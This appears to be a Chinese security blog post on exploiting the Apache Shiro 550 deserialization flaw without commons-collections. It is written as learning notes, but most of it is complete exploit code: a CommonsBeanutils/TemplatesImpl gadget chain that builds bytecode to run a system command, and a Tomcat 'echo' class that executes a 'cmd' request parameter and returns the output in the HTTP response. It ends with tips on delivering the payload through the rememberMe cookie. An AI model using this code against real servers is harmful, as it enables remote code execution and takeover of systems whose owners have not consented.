commons-beanutils本来依赖于commons-collections,但是在Shiro中,它的commons-beanutils虽然包含了一部分commons-collections的类,但却不全。这也导致,正常使用Shiro的时候不需要依赖于commons-collections,但反序列化利用的时候需要依赖于commons-collections。
我们先来看看 org.apache.commons.collections.comparators.ComparableComparator
这个类在哪里使用了:
在 BeanComparator
类的构造函数处,当没有显式传入 Comparator 的情况下,则默认使用 ComparableComparator
。
既然此时没有 ComparableComparator
,我们需要找到一个类来替换,它满足下面这几个条件:
实现 java.util.Comparator 接口
实现 java.io.Serializable 接口
Java、shiro或commons-beanutils自带,且兼容性强
通过IDEA的功能,我们找到一个 CaseInsensitiveComparator。这个 CaseInsensitiveComparator
类是 java.lang.String
类下的一个内部私有类,其实现了Comparator和
Serializable` ,且位于Java的核心代码中,兼容性强,是一个完美替代品。
我们通过 String.CASE_INSENSITIVE_ORDER
即可拿到上下文中的 CaseInsensitiveComparator
对象,用它来实例化 BeanComparator :
1 final BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
最终exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import org.apache.commons.beanutils.BeanComparator;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.PriorityQueue;public class shiro550_cb { public static void main (String[] args) throws Exception { System.out.println("Hello world!" ); TemplatesImpl templates = getTemplatesImple(); final BeanComparator comparator = new BeanComparator (null ,String.CASE_INSENSITIVE_ORDER); final PriorityQueue<Object> queue = new PriorityQueue <Object>(2 , comparator); queue.add("1" ); queue.add("1" ); setFieldValue(comparator, "property" , "outputProperties" ); setFieldValue(queue, "queue" , new Object []{templates, templates}); serialize(queue); unserialize("ser.bin" ); } public static void serialize (Object o) throws Exception{ ObjectOutputStream out = new ObjectOutputStream (Files.newOutputStream(Paths.get("ser.bin" ))); out.writeObject(o); } public static void unserialize (String name) throws Exception{ ObjectInputStream in = new ObjectInputStream (Files.newInputStream(Paths.get(name))); in.readObject(); } public static TemplatesImpl getTemplatesImple () throws Exception{ TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates, "_name" , "Hello" ); setFieldValue(templates, "_bytecodes" , new byte [][]{getEvilBytes()}); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); return templates; } public static void setFieldValue (Object obj, String field, Object val) throws Exception{ Field dField = obj.getClass().getDeclaredField(field); dField.setAccessible(true ); dField.set(obj, val); } public static byte [] getEvilBytes()throws Exception{ ClassPool classPool = ClassPool.getDefault(); CtClass dynamicClass = classPool.makeClass("EvilAbstractTranslet" ); CtClass abstractTranslet = classPool.getCtClass("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ); dynamicClass.setSuperclass(abstractTranslet); CtConstructor ctConstructor = new CtConstructor (new CtClass []{},dynamicClass); ctConstructor.setBody("java.lang.Runtime.getRuntime().exec(new String[]{\"calc\"});" ); dynamicClass.addConstructor(ctConstructor); byte [] bytes = dynamicClass.toBytecode(); dynamicClass.detach(); return bytes; } }
内存马注入及回显 tianxiadamutou ‘s blog 暂且搁置,之后到内存马再回来;
我们简单的分析了 Shiro 550 漏洞的成因,同时学习了 l1nk3r 师傅提出的 shiro 检测,目前很多shiro的利用都是选择 dnslog 带出,直接盲打等操作,那么如果 shiro 在不出网的情况下,那么将结果外带这条路是走不通的,盲打的话我们也不能保证我们使用的链存在,只能通过时延来确定我们的命令是否执行成功,所以这上面的这些情况下,回显似乎是反序列化漏洞中最好的一种解决方案,所以本文就来学习一下 Litch1 师傅提出的 Tomcat 的一种通用回显示的思路,同时借着 shiro 我们来进行内存马的注入的学习
但是由于 tomcat 7 结构不同,所以导致本方法会拿不到我们想要的结果
Shiro自身利用链以及更通用的Tomcat回显方案 https://www.yuque.com/tianxiadamutou/zcfd4v/bea7gi
https://github.com/KpLi0rn/ShiroVulnEnv //Shiro漏洞环境
上一篇文中利用的是 cc11 作为 Gadget 进行注入,但是 cc 毕竟需要利用额外的依赖 CommonsCollections ,所以最理想的情况就是寻找一条 Shiro 自带的 Gadget ,至此 p 神前几天在知识星球中提出了 CommonsBeanutils 与无 CommonsCollections 的 Shiro 反序列化利用
同时在上篇文章中利用的 Tomcat 通用回显仍然存在一些缺憾,也就是在 Tomcat 7 下由于结构问题导致无法获取到上下文中的 StandardContext ,但是后面在查看 j1anFen 师傅的 shiro_attack 工具的源码时,发现 j1anFen 师傅在工具中利用了一条全新的链,经测试发现在 Tomcat 7 中仍然适用,所以本篇文章来学习一下这条利用链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import org.apache.catalina.connector.Response;import org.apache.coyote.Request;import org.apache.coyote.RequestInfo;import java.io.InputStream;import java.io.Writer;import java.lang.reflect.Field;import java.util.List;public class TomcatEcho extends AbstractTranslet { static { try { boolean flag = false ; Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(),"threads" ); for (int i=0 ;i<threads.length;i++){ Thread thread = threads[i]; if (thread != null ){ String threadName = thread.getName(); if (!threadName.contains("exec" ) && threadName.contains("http" )){ Object target = getField(thread,"target" ); Object global = null ; if (target instanceof Runnable){ try { global = getField(getField(getField(target,"this$0" ),"handler" ),"global" ); } catch (NoSuchFieldException fieldException){ fieldException.printStackTrace(); } } if (global != null ){ List processors = (List) getField(global,"processors" ); for (i=0 ;i<processors.size();i++){ RequestInfo requestInfo = (RequestInfo) processors.get(i); if (requestInfo != null ){ Request tempRequest = (Request) getField(requestInfo,"req" ); org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1 ); Response response = request.getResponse(); String cmd = null ; if (request.getParameter("cmd" ) != null ){ cmd = request.getParameter("cmd" ); } if (cmd != null ){ System.out.println(cmd); InputStream inputStream = new ProcessBuilder (cmd).start().getInputStream(); StringBuilder sb = new StringBuilder ("" ); byte [] bytes = new byte [1024 ]; int n = 0 ; while ((n=inputStream.read(bytes)) != -1 ){ sb.append(new String (bytes,0 ,n)); } Writer writer = response.getWriter(); writer.write(sb.toString()); writer.flush(); inputStream.close(); System.out.println("success" ); flag = true ; break ; } if (flag){ break ; } } } } } } if (flag){ break ; } } } catch (Exception e){ e.printStackTrace(); } } public static Object getField (Object obj, String fieldName) throws Exception { Field f0 = null ; Class clas = obj.getClass(); while (clas != Object.class){ try { f0 = clas.getDeclaredField(fieldName); break ; } catch (NoSuchFieldException e){ clas = clas.getSuperclass(); } } if (f0 != null ){ f0.setAccessible(true ); return f0.get(obj); }else { throw new NoSuchFieldException (fieldName); } } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
https://github.com/KpLi0rn/ShiroVulnEnv/tree/main/src/test/java
注意点!!!
将 AES 加密出来的编码替换包中的 RememberMe Cookie,将 JSESSIONID 删掉,因为当存在 JSESSIONID 时,会忽略 rememberMe。
yso 中的链子打不通是因为 yso 中 cb 版本为 1.9,而 shiro 自带为 1.8.3